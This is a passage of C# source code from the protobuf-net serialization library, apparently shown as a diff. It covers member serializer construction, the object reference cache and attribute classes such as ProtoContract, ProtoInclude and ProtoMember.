case ProtoTypeCode.Byte: return (byte)value;
case ProtoTypeCode.Int16: return (short)value;
case ProtoTypeCode.UInt16: return (ushort)value;
case ProtoTypeCode.Int32: return (int)value;
case ProtoTypeCode.UInt32: return (uint)value;
case ProtoTypeCode.Int64: return (long)value;
case ProtoTypeCode.UInt64: return (ulong)value;
default:
throw new InvalidOperationException();
}
#else
return ((FieldInfo)member).GetRawConstantValue();
#endif
}
private static object ParseDefaultValue(Type type, object value)
{
{
Type tmp = Helpers.GetUnderlyingType(type);
if (tmp != null) type = tmp;
}
if (value is string)
{
string s = (string)value;
if (Helpers.IsEnum(type)) return Helpers.ParseEnum(type, s);
switch (Helpers.GetTypeCode(type))
{
case ProtoTypeCode.Boolean: return bool.Parse(s);
case ProtoTypeCode.Byte: return byte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture);
case ProtoTypeCode.Char: // char.Parse missing on CF/phone7
if (s.Length == 1) return s[0];
throw new FormatException("Single character expected: \"" + s + "\"");
case ProtoTypeCode.DateTime: return DateTime.Parse(s, CultureInfo.InvariantCulture);
case ProtoTypeCode.Decimal: return decimal.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Double: return double.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Int16: return short.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Int32: return int.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.Int64: return long.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.SByte: return sbyte.Parse(s, NumberStyles.Integer, CultureInfo.InvariantCulture);
case ProtoTypeCode.Single: return float.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.String: return s;
case ProtoTypeCode.UInt16: return ushort.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.UInt32: return uint.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.UInt64: return ulong.Parse(s, NumberStyles.Any, CultureInfo.InvariantCulture);
case ProtoTypeCode.TimeSpan: return TimeSpan.Parse(s);
case ProtoTypeCode.Uri: return s; // Uri is decorated as string
case ProtoTypeCode.Guid: return new Guid(s);
}
}
#if FEAT_IKVM
if (Helpers.IsEnum(type)) return value; // return the underlying type instead
System.Type convertType = null;
switch(Helpers.GetTypeCode(type))
{
case ProtoTypeCode.SByte: convertType = typeof(sbyte); break;
case ProtoTypeCode.Int16: convertType = typeof(short); break;
case ProtoTypeCode.Int32: convertType = typeof(int); break;
case ProtoTypeCode.Int64: convertType = typeof(long); break;
case ProtoTypeCode.Byte: convertType = typeof(byte); break;
case ProtoTypeCode.UInt16: convertType = typeof(ushort); break;
case ProtoTypeCode.UInt32: convertType = typeof(uint); break;
case ProtoTypeCode.UInt64: convertType = typeof(ulong); break;
case ProtoTypeCode.Single: convertType = typeof(float); break;
case ProtoTypeCode.Double: convertType = typeof(double); break;
case ProtoTypeCode.Decimal: convertType = typeof(decimal); break;
}
if(convertType != null) return Convert.ChangeType(value, convertType, CultureInfo.InvariantCulture);
throw new ArgumentException("Unable to process default value: " + value + ", " + type.FullName);
#else
if (Helpers.IsEnum(type)) return Enum.ToObject(type, value);
return Convert.ChangeType(value, type, CultureInfo.InvariantCulture);
#endif
}
private IProtoSerializer serializer;
internal IProtoSerializer Serializer
{
get
{
if (serializer == null) serializer = BuildSerializer();
return serializer;
}
}
private DataFormat dataFormat;
/// <summary>
/// Specifies the rules used to process the field; this is used to determine the most appropriate
/// wite-type, but also to describe subtypes <i>within</i> that wire-type (such as SignedVariant)
/// </summary>
public DataFormat DataFormat {
get { return dataFormat; }
set { ThrowIfFrozen(); this.dataFormat = value; }
}
/// <summary>
/// Indicates whether this field should follow strict encoding rules; this means (for example) that if a "fixed32"
/// is encountered when "variant" is defined, then it will fail (throw an exception) when parsing. Note that
/// when serializing the defined type is always used.
/// </summary>
public bool IsStrict
{
get { return HasFlag(OPTIONS_IsStrict); }
set { SetFlag(OPTIONS_IsStrict, value, true); }
}
/// <summary>
/// Indicates whether this field should use packed encoding (which can save lots of space for repeated primitive values).
/// This option only applies to list/array data of primitive types (int, double, etc).
/// </summary>
public bool IsPacked
{
get { return HasFlag(OPTIONS_IsPacked); }
set { SetFlag(OPTIONS_IsPacked, value, true); }
}
/// <summary>
/// Indicates whether this field should *repace* existing values (the default is false, meaning *append*).
/// This option only applies to list/array data.
/// </summary>
public bool OverwriteList
{
get { return HasFlag(OPTIONS_OverwriteList); }
set { SetFlag(OPTIONS_OverwriteList, value, true); }
}
/// <summary>
/// Indicates whether this field is mandatory.
/// </summary>
public bool IsRequired
{
get { return HasFlag(OPTIONS_IsRequired); }
set { SetFlag(OPTIONS_IsRequired, value, true); }
}
private bool asReference;
/// <summary>
/// Enables full object-tracking/full-graph support.
/// </summary>
public bool AsReference
{
get { return asReference; }
set { ThrowIfFrozen(); asReference = value; }
}
private bool dynamicType;
/// <summary>
/// Embeds the type information into the stream, allowing usage with types not known in advance.
/// </summary>
public bool DynamicType
{
get { return dynamicType; }
set { ThrowIfFrozen(); dynamicType = value; }
}
private MethodInfo getSpecified, setSpecified;
/// <summary>
/// Specifies methods for working with optional data members.
/// </summary>
/// <param name="getSpecified">Provides a method (null for none) to query whether this member should
/// be serialized; it must be of the form "bool {Method}()". The member is only serialized if the
/// method returns true.</param>
/// <param name="setSpecified">Provides a method (null for none) to indicate that a member was
/// deserialized; it must be of the form "void {Method}(bool)", and will be called with "true"
/// when data is found.</param>
public void SetSpecified(MethodInfo getSpecified, MethodInfo setSpecified)
{
if (getSpecified != null)
{
if (getSpecified.ReturnType != model.MapType(typeof(bool))
|| getSpecified.IsStatic
|| getSpecified.GetParameters().Length != 0)
{
throw new ArgumentException("Invalid pattern for checking member-specified", "getSpecified");
}
}
if (setSpecified != null)
{
ParameterInfo[] args;
if (setSpecified.ReturnType != model.MapType(typeof(void))
|| setSpecified.IsStatic
|| (args = setSpecified.GetParameters()).Length != 1
|| args[0].ParameterType != model.MapType(typeof(bool)))
{
throw new ArgumentException("Invalid pattern for setting member-specified", "setSpecified");
}
}
ThrowIfFrozen();
this.getSpecified = getSpecified;
this.setSpecified = setSpecified;
}
private void ThrowIfFrozen()
{
if (serializer != null) throw new InvalidOperationException("The type cannot be changed once a serializer has been generated");
}
private IProtoSerializer BuildSerializer()
{
int opaqueToken = 0;
try
{
model.TakeLock(ref opaqueToken);// check nobody is still adding this type
WireType wireType;
Type finalType = itemType == null ? memberType : itemType;
IProtoSerializer ser = TryGetCoreSerializer(model, dataFormat, finalType, out wireType, asReference, dynamicType, OverwriteList, true);
if (ser == null)
{
throw new InvalidOperationException("No serializer defined for type: " + finalType.FullName);
}
// apply tags
if (itemType != null && SupportNull)
{
if(IsPacked)
{
throw new NotSupportedException("Packed encodings cannot support null values");
}
ser = new TagDecorator(NullDecorator.Tag, wireType, IsStrict, ser);
ser = new NullDecorator(model, ser);
ser = new TagDecorator(fieldNumber, WireType.StartGroup, false, ser);
}
else
{
ser = new TagDecorator(fieldNumber, wireType, IsStrict, ser);
}
// apply lists if appropriate
if (itemType != null)
{
#if NO_GENERICS
Type underlyingItemType = itemType;
#else
Type underlyingItemType = SupportNull ? itemType : Helpers.GetUnderlyingType(itemType) ?? itemType;
#endif
Helpers.DebugAssert(underlyingItemType == ser.ExpectedType, "Wrong type in the tail; expected {0}, received {1}", ser.ExpectedType, underlyingItemType);
if (memberType.IsArray)
{
ser = new ArrayDecorator(model, ser, fieldNumber, IsPacked, wireType, memberType, OverwriteList, SupportNull);
}
else
{
ser = new ListDecorator(model, memberType, defaultType, ser, fieldNumber, IsPacked, wireType, member != null && PropertyDecorator.CanWrite(model, member), OverwriteList, SupportNull);
}
}
else if (defaultValue != null && !IsRequired && getSpecified == null)
{ // note: "ShouldSerialize*" / "*Specified" / etc ^^^^ take precedence over defaultValue,
// as does "IsRequired"
ser = new DefaultValueDecorator(model, defaultValue, ser);
}
if (memberType == model.MapType(typeof(Uri)))
{
ser = new UriDecorator(model, ser);
}
if (member != null)
{
PropertyInfo prop = member as PropertyInfo;
if (prop != null)
{
ser = new PropertyDecorator(model, parentType, (PropertyInfo)member, ser);
}
else
{
FieldInfo fld = member as FieldInfo;
if (fld != null)
{
ser = new FieldDecorator(parentType, (FieldInfo)member, ser);
}
else
{
throw new InvalidOperationException();
}
}
if (getSpecified != null || setSpecified != null)
{
ser = new MemberSpecifiedDecorator(getSpecified, setSpecified, ser);
}
}
return ser;
}
finally
{
model.ReleaseLock(opaqueToken);
}
}
private static WireType GetIntWireType(DataFormat format, int width) {
switch(format) {
case DataFormat.ZigZag: return WireType.SignedVariant;
case DataFormat.FixedSize: return width == 32 ? WireType.Fixed32 : WireType.Fixed64;
case DataFormat.TwosComplement:
case DataFormat.Default: return WireType.Variant;
default: throw new InvalidOperationException();
}
}
private static WireType GetDateTimeWireType(DataFormat format)
{
switch (format)
{
case DataFormat.Group: return WireType.StartGroup;
case DataFormat.FixedSize: return WireType.Fixed64;
case DataFormat.Default: return WireType.String;
default: throw new InvalidOperationException();
}
}
internal static IProtoSerializer TryGetCoreSerializer(RuntimeTypeModel model, DataFormat dataFormat, Type type, out WireType defaultWireType,
bool asReference, bool dynamicType, bool overwriteList, bool allowComplexTypes)
{
#if !NO_GENERICS
type = Helpers.GetUnderlyingType(type) ?? type;
#endif
if (Helpers.IsEnum(type))
{
if (allowComplexTypes && model != null)
{
// need to do this before checking the typecode; an int enum will report Int32 etc
defaultWireType = WireType.Variant;
return new EnumSerializer(type, model.GetEnumMap(type));
}
else
{ // enum is fine for adding as a meta-type
defaultWireType = WireType.None;
return null;
}
}
ProtoTypeCode code = Helpers.GetTypeCode(type);
switch (code)
{
case ProtoTypeCode.Int32:
defaultWireType = GetIntWireType(dataFormat, 32);
return new Int32Serializer(model);
case ProtoTypeCode.UInt32:
defaultWireType = GetIntWireType(dataFormat, 32);
return new UInt32Serializer(model);
case ProtoTypeCode.Int64:
defaultWireType = GetIntWireType(dataFormat, 64);
return new Int64Serializer(model);
case ProtoTypeCode.UInt64:
defaultWireType = GetIntWireType(dataFormat, 64);
return new UInt64Serializer(model);
case ProtoTypeCode.String:
defaultWireType = WireType.String;
if (asReference)
{
return new NetObjectSerializer(model, model.MapType(typeof(string)), 0, BclHelpers.NetObjectOptions.AsReference);
}
return new StringSerializer(model);
case ProtoTypeCode.Single:
defaultWireType = WireType.Fixed32;
return new SingleSerializer(model);
case ProtoTypeCode.Double:
defaultWireType = WireType.Fixed64;
return new DoubleSerializer(model);
case ProtoTypeCode.Boolean:
defaultWireType = WireType.Variant;
return new BooleanSerializer(model);
case ProtoTypeCode.DateTime:
defaultWireType = GetDateTimeWireType(dataFormat);
return new DateTimeSerializer(model);
case ProtoTypeCode.Decimal:
defaultWireType = WireType.String;
return new DecimalSerializer(model);
case ProtoTypeCode.Byte:
defaultWireType = GetIntWireType(dataFormat, 32);
return new ByteSerializer(model);
case ProtoTypeCode.SByte:
defaultWireType = GetIntWireType(dataFormat, 32);
return new SByteSerializer(model);
case ProtoTypeCode.Char:
defaultWireType = WireType.Variant;
return new CharSerializer(model);
case ProtoTypeCode.Int16:
defaultWireType = GetIntWireType(dataFormat, 32);
return new Int16Serializer(model);
case ProtoTypeCode.UInt16:
defaultWireType = GetIntWireType(dataFormat, 32);
return new UInt16Serializer(model);
case ProtoTypeCode.TimeSpan:
defaultWireType = GetDateTimeWireType(dataFormat);
return new TimeSpanSerializer(model);
case ProtoTypeCode.Guid:
defaultWireType = WireType.String;
return new GuidSerializer(model);
case ProtoTypeCode.Uri:
defaultWireType = WireType.String;
return new StringSerializer(model); // treat as string; wrapped in decorator later
case ProtoTypeCode.ByteArray:
defaultWireType = WireType.String;
return new BlobSerializer(model, overwriteList);
case ProtoTypeCode.Type:
defaultWireType = WireType.String;
return new SystemTypeSerializer(model);
}
IProtoSerializer parseable = model.AllowParseableTypes ? ParseableSerializer.TryCreate(type, model) : null;
if (parseable != null)
{
defaultWireType = WireType.String;
return parseable;
}
if (allowComplexTypes && model != null)
{
int key = model.GetKey(type, false, true);
if (asReference || dynamicType)
{
defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String;
BclHelpers.NetObjectOptions options = BclHelpers.NetObjectOptions.None;
if (asReference) options |= BclHelpers.NetObjectOptions.AsReference;
if (dynamicType) options |= BclHelpers.NetObjectOptions.DynamicType;
if (key >= 0)
{ // exists
if (asReference && Helpers.IsValueType(type))
{
string message = "AsReference cannot be used with value-types";
if (type.Name == "KeyValuePair`2")
{
message += "; please see http://stackoverflow.com/q/14436606/";
}
else
{
message += ": " + type.FullName;
}
throw new InvalidOperationException(message);
}
MetaType meta = model[type];
if (asReference && meta.IsAutoTuple) options |= BclHelpers.NetObjectOptions.LateSet;
if (meta.UseConstructor) options |= BclHelpers.NetObjectOptions.UseConstructor;
}
return new NetObjectSerializer(model, type, key, options);
}
if (key >= 0)
{
defaultWireType = dataFormat == DataFormat.Group ? WireType.StartGroup : WireType.String;
return new SubItemSerializer(type, key, model[type], true);
}
}
defaultWireType = WireType.None;
return null;
}
private string name;
internal void SetName(string name)
{
ThrowIfFrozen();
this.name = name;
}
/// <summary>
/// Gets the logical name for this member in the schema (this is not critical for binary serialization, but may be used
/// when inferring a schema).
/// </summary>
public string Name
{
get { return Helpers.IsNullOrEmpty(name) ? member.Name : name; }
}
private const byte
OPTIONS_IsStrict = 1,
OPTIONS_IsPacked = 2,
OPTIONS_IsRequired = 4,
OPTIONS_OverwriteList = 8,
OPTIONS_SupportNull = 16;
private byte flags;
private bool HasFlag(byte flag) { return (flags & flag) == flag; }
private void SetFlag(byte flag, bool value, bool throwIfFrozen)
{
if (throwIfFrozen && HasFlag(flag) != value)
{
ThrowIfFrozen();
}
if (value)
flags |= flag;
else
flags = (byte)(flags & ~flag);
}
/// <summary>
/// Should lists have extended support for null values? Note this makes the serialization less efficient.
/// </summary>
public bool SupportNull
{
get { return HasFlag(OPTIONS_SupportNull); }
set { SetFlag(OPTIONS_SupportNull, value, true);}
}
internal string GetSchemaTypeName(bool applyNetObjectProxy, ref bool requiresBclImport)
{
Type effectiveType = ItemType;
if (effectiveType == null) effectiveType = MemberType;
return model.GetSchemaTypeName(effectiveType, DataFormat, applyNetObjectProxy && asReference, applyNetObjectProxy && dynamicType, ref requiresBclImport);
}
internal class Comparer : System.Collections.IComparer
#if !NO_GENERICS
, System.Collections.Generic.IComparer<ValueMember>
#endif
{
public static readonly Comparer Default = new Comparer();
public int Compare(object x, object y)
{
return Compare(x as ValueMember, y as ValueMember);
}
public int Compare(ValueMember x, ValueMember y)
{
if (ReferenceEquals(x, y)) return 0;
if (x == null) return -1;
if (y == null) return 1;
return x.FieldNumber.CompareTo(y.FieldNumber);
}
}
}
}
#endif

View File

@ -0,0 +1,232 @@
using System;
using System.Collections;
using ProtoBuf.Meta;
namespace ProtoBuf
{
internal sealed class NetObjectCache
{
internal const int Root = 0;
private MutableList underlyingList;
private MutableList List
{
get
{
if (underlyingList == null) underlyingList = new MutableList();
return underlyingList;
}
}
internal object GetKeyedObject(int key)
{
if (key-- == Root)
{
if (rootObject == null) throw new ProtoException("No root object assigned");
return rootObject;
}
BasicList list = List;
if (key < 0 || key >= list.Count)
{
Helpers.DebugWriteLine("Missing key: " + key);
throw new ProtoException("Internal error; a missing key occurred");
}
object tmp = list[key];
if (tmp == null) throw new ProtoException("A deferred key does not have a value yet");
return tmp;
}
internal void SetKeyedObject(int key, object value)
{
if (key-- == Root)
{
if (value == null) throw new ArgumentNullException("value");
if (rootObject != null && ((object)rootObject != (object)value)) throw new ProtoException("The root object cannot be reassigned");
rootObject = value;
}
else
{
MutableList list = List;
if (key < list.Count)
{
object oldVal = list[key];
if (oldVal == null)
{
list[key] = value;
}
else if (!ReferenceEquals(oldVal, value))
{
throw new ProtoException("Reference-tracked objects cannot change reference");
} // otherwise was the same; nothing to do
}
else if (key != list.Add(value))
{
throw new ProtoException("Internal error; a key mismatch occurred");
}
}
}
private object rootObject;
internal int AddObjectKey(object value, out bool existing)
{
if (value == null) throw new ArgumentNullException("value");
if ((object)value == (object)rootObject) // (object) here is no-op, but should be
{ // preserved even if this was typed - needs ref-check
existing = true;
return Root;
}
string s = value as string;
BasicList list = List;
int index;
#if NO_GENERICS
if(s == null)
{
if (objectKeys == null)
{
objectKeys = new ReferenceHashtable();
index = -1;
}
else
{
object tmp = objectKeys[value];
index = tmp == null ? -1 : (int) tmp;
}
}
else
{
if (stringKeys == null)
{
stringKeys = new Hashtable();
index = -1;
}
else
{
object tmp = stringKeys[s];
index = tmp == null ? -1 : (int) tmp;
}
}
#else
if (s == null)
{
#if CF || PORTABLE // CF has very limited proper object ref-tracking; so instead, we'll search it the hard way
index = list.IndexOfReference(value);
#else
if (objectKeys == null)
{
objectKeys = new System.Collections.Generic.Dictionary<object, int>(ReferenceComparer.Default);
index = -1;
}
else
{
if (!objectKeys.TryGetValue(value, out index)) index = -1;
}
#endif
}
else
{
if (stringKeys == null)
{
stringKeys = new System.Collections.Generic.Dictionary<string, int>();
index = -1;
}
else
{
if (!stringKeys.TryGetValue(s, out index)) index = -1;
}
}
#endif
if (!(existing = index >= 0))
{
index = list.Add(value);
if (s == null)
{
#if !CF && !PORTABLE // CF can't handle the object keys very well
objectKeys.Add(value, index);
#endif
}
else
{
stringKeys.Add(s, index);
}
}
return index + 1;
}
private int trapStartIndex; // defaults to 0 - optimization for RegisterTrappedObject
// to make it faster at seeking to find deferred-objects
internal void RegisterTrappedObject(object value)
{
if (rootObject == null)
{
rootObject = value;
}
else
{
if (underlyingList != null)
{
for (int i = trapStartIndex; i < underlyingList.Count; i++)
{
trapStartIndex = i + 1; // things never *become* null; whether or
// not the next item is null, it will never
// need to be checked again
if (underlyingList[i] == null)
{
underlyingList[i] = value;
break;
}
}
}
}
}
#if NO_GENERICS
private ReferenceHashtable objectKeys;
private System.Collections.Hashtable stringKeys;
private class ReferenceHashtable : System.Collections.Hashtable
{
protected override int GetHash(object key)
{
return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(key);
}
protected override bool KeyEquals(object item, object key)
{
return item == key;
}
}
#else
private System.Collections.Generic.Dictionary<string, int> stringKeys;
#if !CF && !PORTABLE // CF lacks the ability to get a robust reference-based hash-code, so we'll do it the harder way instead
private System.Collections.Generic.Dictionary<object, int> objectKeys;
private sealed class ReferenceComparer : System.Collections.Generic.IEqualityComparer<object>
{
public readonly static ReferenceComparer Default = new ReferenceComparer();
private ReferenceComparer() { }
bool System.Collections.Generic.IEqualityComparer<object>.Equals(object x, object y)
{
return x == y; // ref equality
}
int System.Collections.Generic.IEqualityComparer<object>.GetHashCode(object obj)
{
return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(obj);
}
}
#endif
#endif
}
}

View File

@ -0,0 +1,26 @@

namespace ProtoBuf
{
/// <summary>
/// Specifies the type of prefix that should be applied to messages.
/// </summary>
public enum PrefixStyle
{
/// <summary>
/// No length prefix is applied to the data; the data is terminated only be the end of the stream.
/// </summary>
None,
/// <summary>
/// A base-128 length prefix is applied to the data (efficient for short messages).
/// </summary>
Base128,
/// <summary>
/// A fixed-length (little-endian) length prefix is applied to the data (useful for compatibility).
/// </summary>
Fixed32,
/// <summary>
/// A fixed-length (big-endian) length prefix is applied to the data (useful for compatibility).
/// </summary>
Fixed32BigEndian
}
}

View File

@ -0,0 +1,142 @@
using System;
namespace ProtoBuf
{
/// <summary>
/// Indicates that a type is defined for protocol-buffer serialization.
/// </summary>
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Interface,
AllowMultiple = false, Inherited = false)]
public sealed class ProtoContractAttribute : Attribute
{
/// <summary>
/// Gets or sets the defined name of the type.
/// </summary>
public string Name { get { return name; } set { name = value; } }
private string name;
/// <summary>
/// Gets or sets the fist offset to use with implicit field tags;
/// only uesd if ImplicitFields is set.
/// </summary>
public int ImplicitFirstTag
{
get { return implicitFirstTag; }
set
{
if (value < 1) throw new ArgumentOutOfRangeException("ImplicitFirstTag");
implicitFirstTag = value;
}
}
private int implicitFirstTag;
/// <summary>
/// If specified, alternative contract markers (such as markers for XmlSerailizer or DataContractSerializer) are ignored.
/// </summary>
public bool UseProtoMembersOnly
{
get { return HasFlag(OPTIONS_UseProtoMembersOnly); }
set { SetFlag(OPTIONS_UseProtoMembersOnly, value); }
}
/// <summary>
/// If specified, do NOT treat this type as a list, even if it looks like one.
/// </summary>
public bool IgnoreListHandling
{
get { return HasFlag(OPTIONS_IgnoreListHandling); }
set { SetFlag(OPTIONS_IgnoreListHandling, value); }
}
/// <summary>
/// Gets or sets the mechanism used to automatically infer field tags
/// for members. This option should be used in advanced scenarios only.
/// Please review the important notes against the ImplicitFields enumeration.
/// </summary>
public ImplicitFields ImplicitFields { get { return implicitFields; } set { implicitFields = value; } }
private ImplicitFields implicitFields;
/// <summary>
/// Enables/disables automatic tag generation based on the existing name / order
/// of the defined members. This option is not used for members marked
/// with ProtoMemberAttribute, as intended to provide compatibility with
/// WCF serialization. WARNING: when adding new fields you must take
/// care to increase the Order for new elements, otherwise data corruption
/// may occur.
/// </summary>
/// <remarks>If not explicitly specified, the default is assumed from Serializer.GlobalOptions.InferTagFromName.</remarks>
public bool InferTagFromName
{
get { return HasFlag(OPTIONS_InferTagFromName); }
set {
SetFlag(OPTIONS_InferTagFromName, value);
SetFlag(OPTIONS_InferTagFromNameHasValue, true);
}
}
/// <summary>
/// Has a InferTagFromName value been explicitly set? if not, the default from the type-model is assumed.
/// </summary>
internal bool InferTagFromNameHasValue
{
get { return HasFlag(OPTIONS_InferTagFromNameHasValue); }
}
private int dataMemberOffset;
/// <summary>
/// Specifies an offset to apply to [DataMember(Order=...)] markers;
/// this is useful when working with mex-generated classes that have
/// a different origin (usually 1 vs 0) than the original data-contract.
///
/// This value is added to the Order of each member.
/// </summary>
public int DataMemberOffset
{
get { return dataMemberOffset; }
set { dataMemberOffset = value; }
}
/// <summary>
/// If true, the constructor for the type is bypassed during deserialization, meaning any field initializers
/// or other initialization code is skipped.
/// </summary>
public bool SkipConstructor
{
get { return HasFlag(OPTIONS_SkipConstructor); }
set { SetFlag(OPTIONS_SkipConstructor, value); }
}
/// <summary>
/// Should this type be treated as a reference by default? Please also see the implications of this,
/// as recorded on ProtoMemberAttribute.AsReference
/// </summary>
public bool AsReferenceDefault
{
get { return HasFlag(OPTIONS_AsReferenceDefault); }
set {
SetFlag(OPTIONS_AsReferenceDefault, value);
}
}
private bool HasFlag(byte flag) { return (flags & flag) == flag; }
private void SetFlag(byte flag, bool value)
{
if (value) flags |= flag;
else flags = (byte)(flags & ~flag);
}
private byte flags;
private const byte
OPTIONS_InferTagFromName = 1,
OPTIONS_InferTagFromNameHasValue = 2,
OPTIONS_UseProtoMembersOnly = 4,
OPTIONS_SkipConstructor = 8,
OPTIONS_IgnoreListHandling = 16,
OPTIONS_AsReferenceDefault = 32;
}
}

View File

@ -0,0 +1,37 @@
using System;
namespace ProtoBuf
{
/// <summary>
/// Used to define protocol-buffer specific behavior for
/// enumerated values.
/// </summary>
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false)]
public sealed class ProtoEnumAttribute : Attribute
{
/// <summary>
/// Gets or sets the specific value to use for this enum during serialization.
/// </summary>
public int Value
{
get { return enumValue; }
set { this.enumValue = value; hasValue = true; }
}
/// <summary>
/// Indicates whether this instance has a customised value mapping
/// </summary>
/// <returns>true if a specific value is set</returns>
public bool HasValue() { return hasValue; }
private bool hasValue;
private int enumValue;
/// <summary>
/// Gets or sets the defined name of the enum, as used in .proto
/// (this name is not used during serialization).
/// </summary>
public string Name { get { return name; } set { name = value; } }
private string name;
}
}

View File

@ -0,0 +1,30 @@
using System;
#if REMOTING
using System.Runtime.Serialization;
#endif
namespace ProtoBuf
{
/// <summary>
/// Indicates an error during serialization/deserialization of a proto stream.
/// </summary>
#if REMOTING
[ProtoContract]
#endif
public class ProtoException : Exception
{
/// <summary>Creates a new ProtoException instance.</summary>
public ProtoException() { }
/// <summary>Creates a new ProtoException instance.</summary>
public ProtoException(string message) : base(message) { }
/// <summary>Creates a new ProtoException instance.</summary>
public ProtoException(string message, Exception innerException) : base(message, innerException) { }
#if REMOTING
/// <summary>Creates a new ProtoException instance.</summary>
protected ProtoException(SerializationInfo info, StreamingContext context) : base(info, context) { }
#endif
}
}

View File

@ -0,0 +1,40 @@
using System;
namespace ProtoBuf
{
/// <summary>
/// Indicates that a member should be excluded from serialization; this
/// is only normally used when using implict fields.
/// </summary>
[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field,
AllowMultiple = false, Inherited = true)]
public class ProtoIgnoreAttribute : Attribute {}
/// <summary>
/// Indicates that a member should be excluded from serialization; this
/// is only normally used when using implict fields. This allows
/// ProtoIgnoreAttribute usage
/// even for partial classes where the individual members are not
/// under direct control.
/// </summary>
[AttributeUsage(AttributeTargets.Class,
AllowMultiple = true, Inherited = false)]
public class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute
{
/// <summary>
/// Creates a new ProtoPartialIgnoreAttribute instance.
/// </summary>
/// <param name="memberName">Specifies the member to be ignored.</param>
public ProtoPartialIgnoreAttribute(string memberName)
: base()
{
if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName");
this.memberName = memberName;
}
/// <summary>
/// The name of the member to be ignored.
/// </summary>
public string MemberName { get { return memberName; } }
private readonly string memberName;
}
}

View File

@ -0,0 +1,78 @@
using System;
using System.ComponentModel;
using ProtoBuf.Meta;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf
{
/// <summary>
/// Indicates the known-types to support for an individual
/// message. This serializes each level in the hierarchy as
/// a nested message to retain wire-compatibility with
/// other protocol-buffer implementations.
/// </summary>
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)]
public sealed class ProtoIncludeAttribute : Attribute
{
///<summary>
/// Creates a new instance of the ProtoIncludeAttribute.
/// </summary>
/// <param name="tag">The unique index (within the type) that will identify this data.</param>
/// <param name="knownType">The additional type to serialize/deserialize.</param>
public ProtoIncludeAttribute(int tag, System.Type knownType)
: this(tag, knownType == null ? "" : knownType.AssemblyQualifiedName) { }
/// <summary>
/// Creates a new instance of the ProtoIncludeAttribute.
/// </summary>
/// <param name="tag">The unique index (within the type) that will identify this data.</param>
/// <param name="knownTypeName">The additional type to serialize/deserialize.</param>
public ProtoIncludeAttribute(int tag, string knownTypeName)
{
if (tag <= 0) throw new ArgumentOutOfRangeException("tag", "Tags must be positive integers");
if (Helpers.IsNullOrEmpty(knownTypeName)) throw new ArgumentNullException("knownTypeName", "Known type cannot be blank");
this.tag = tag;
this.knownTypeName = knownTypeName;
}
/// <summary>
/// Gets the unique index (within the type) that will identify this data.
/// </summary>
public int Tag { get { return tag; } }
private readonly int tag;
/// <summary>
/// Gets the additional type to serialize/deserialize.
/// </summary>
public string KnownTypeName { get { return knownTypeName; } }
private readonly string knownTypeName;
/// <summary>
/// Gets the additional type to serialize/deserialize.
/// </summary>
public Type KnownType
{
get
{
return TypeModel.ResolveKnownType(KnownTypeName, null, null);
}
}
/// <summary>
/// Specifies whether the inherited sype's sub-message should be
/// written with a length-prefix (default), or with group markers.
/// </summary>
[DefaultValue(DataFormat.Default)]
public DataFormat DataFormat
{
get { return dataFormat; }
set { dataFormat = value; }
}
private DataFormat dataFormat = DataFormat.Default;
}
}

View File

@ -0,0 +1,231 @@
using System;
#if FEAT_IKVM
using Type = IKVM.Reflection.Type;
using IKVM.Reflection;
#else
using System.Reflection;
#endif
namespace ProtoBuf
{
/// <summary>
/// Declares a member to be used in protocol-buffer serialization, using
/// the given Tag. A DataFormat may be used to optimise the serialization
/// format (for instance, using zigzag encoding for negative numbers, or
/// fixed-length encoding for large values.
/// </summary>
[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field,
AllowMultiple = false, Inherited = true)]
public class ProtoMemberAttribute : Attribute
, IComparable
#if !NO_GENERICS
, IComparable<ProtoMemberAttribute>
#endif
{
/// <summary>
/// Compare with another ProtoMemberAttribute for sorting purposes
/// </summary>
public int CompareTo(object other) { return CompareTo(other as ProtoMemberAttribute); }
/// <summary>
/// Compare with another ProtoMemberAttribute for sorting purposes
/// </summary>
public int CompareTo(ProtoMemberAttribute other)
{
if (other == null) return -1;
if ((object)this == (object)other) return 0;
int result = this.tag.CompareTo(other.tag);
if (result == 0) result = string.CompareOrdinal(this.name, other.name);
return result;
}
/// <summary>
/// Creates a new ProtoMemberAttribute instance.
/// </summary>
/// <param name="tag">Specifies the unique tag used to identify this member within the type.</param>
public ProtoMemberAttribute(int tag) : this(tag, false)
{ }
internal ProtoMemberAttribute(int tag, bool forced)
{
if (tag <= 0 && !forced) throw new ArgumentOutOfRangeException("tag");
this.tag = tag;
}
#if !NO_RUNTIME
internal MemberInfo Member;
internal bool TagIsPinned;
#endif
/// <summary>
/// Gets or sets the original name defined in the .proto; not used
/// during serialization.
/// </summary>
public string Name { get { return name; } set { name = value; } }
private string name;
/// <summary>
/// Gets or sets the data-format to be used when encoding this value.
/// </summary>
public DataFormat DataFormat { get { return dataFormat; } set { dataFormat = value; } }
private DataFormat dataFormat;
/// <summary>
/// Gets the unique tag used to identify this member within the type.
/// </summary>
public int Tag { get { return tag; } }
private int tag;
internal void Rebase(int tag) { this.tag = tag; }
/// <summary>
/// Gets or sets a value indicating whether this member is mandatory.
/// </summary>
public bool IsRequired {
